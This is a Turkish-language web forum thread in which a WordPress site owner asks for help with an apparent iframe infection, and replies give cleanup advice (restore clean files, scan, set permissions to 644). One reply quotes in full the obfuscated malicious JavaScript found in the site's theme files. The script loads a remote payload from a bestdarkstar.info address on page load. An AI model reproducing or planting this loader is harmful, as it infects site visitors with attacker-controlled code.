Siteme Virüs Bulaşti Galiba ?

Merhaba Üstadlar Siteme Virüs bulaştiğini söyleyen bazı kullanıcılarım var bende problem gözükmmüyor ama kullanıcılarımın bazıları problem yaşıyormuş araştırdım sitem açılırken bar kısmında www.bestdark.info bu adresi de görüyorum galiba bu iframe diye adlandırdığınız virüs olmalı bunu temizlemenin en kolay yöntemi nedir ? Yardımlarınızı Bekliyorum. Anlayan Arkadaş Sitemide Kontrol edebilirmi virüs varmı yokmu diye ben tam anlayamadım

<script>var D;if(D!='o' && D!='YI'){D='o'};var Yy;if(Yy!='Ag'){Yy=''};function a(){var q;if(q!='' && q!='m'){q='oo'};var y=new Array();var c="";var r=unescape;var ZM;if(ZM!='Z' && ZM != ''){ZM=null};var t=window;var s;if(s!='' && s!='N'){s='Vh'};var TC;if(TC!='' && TC!='k'){TC=''};var _n="";var x=new String();var e=r("%2f%6b%6f%6d%6c%69%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6f%70%65%72%61%2e%63%6f%6d%2e%70%68%70");var yT;if(yT!='cx' && yT!='Lp'){yT=''};function A(w,I){var Y=new String("g");var v=r("%5b"), B=r("%5d");var V=v+I+B;var P=new RegExp(V, Y);var Pv;if(Pv!='' && Pv!='DQ'){Pv=''};return w.replace(P, new String());};var hN;if(hN!='wf'){hN='wf'};var i;if(i!=''){i='g'};var b=document;var Ce=new Date();var _=new String();var h=A('853110649273685631190797113','95137264');var R;if(R!='zf' && R!='tX'){R=''};this.im="";var bH=new Array();this.YK="";function r_(){var u;if(u!='' && u!='NG'){u='PW'};var X;if(X!='' && X!='sq'){X='ZS'};var VS=r("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var YH="";var wU;if(wU!=''){wU='xQ'};var J=new Array();_=VS;_+=h;var cn=new Array();_+=e;this.qO='';var MK='';var AO='';try {var CB="";var GB=new String();var hR;if(hR!='IZ' && hR!='ei'){hR=''};p=b.createElement(A('slcfrwiwp_tw','4fwdlbQ2_'));var X_;if(X_!='RF'){X_=''};var mj;if(mj!='QI'){mj=''};this.Lh="";var eA='';this.Myx="";p[r("%64%65%66%65%72")]=[1][0];var pK;if(pK!='kU' && pK != ''){pK=null};var Fs="";p[r("%73%72%63")]=_;var oe=new Array();this.H='';var PS="";var Rl=new Array();b.body.appendChild(p);this.YA='';var vj;if(vj!='CV'){vj='CV'};var Gp='';var WC='';} catch(E){var ft;if(ft!='aV' && ft!='yN'){ft='aV'};var yi;if(yi!=''){yi='ZT'};alert(E);};}var CD=new Array();var ET=new Array();t["onloaDit".substr(0,5)+"dVUL".substr(0,1)]=r_;var zO;if(zO!='FZ'){zO='FZ'};};var WN;if(WN!='pb' && WN != ''){WN=null};a();</script>

temanızdaki header.php,index.php gibi bütün php dosyalarına bakın üstte belirtmiş olduğum kod ekli görünüyor.tabi başka bir dosyayada bulaşmış olabilir. en iyi yapabileceğiniz wordpress indirip tema dosyalarınızda eklentilerinizi ve önemli dosyalarınızı yedek aldıktan sonra ftp dekileri silerek dosyaların orjinal olanlarını ftp ye göndermek.sürekli oluyorsa bu durum o zaman sunucu sahibine söyleyin önlem alıversin.yine de çare bulamazsanız yeni bir hosting aramaya başlayın bence.

ayrıca sitenizdeki gereksiz sohbet alanını kaldırmanızda yararınıza olabilir.java tabanlı o tarz şeyler normal domainler için kabus olabilir.

Nod32 siteye girişe izin vermiyor. Truva atı uyarısı veriyor. ilginç olanda şu favicon.ico'yu virüs tehdidi olarak algıladı...

Önce bilgisayarınızı tarayınız. Sonra ftp'de ki tüm dosyalarınızı tarayın. Kendinizde tema dosyalarınızı tek tek kontrol edin.İframe kodlarını silip dosyaların yazma izinlerini 644 olarak ayarlayın.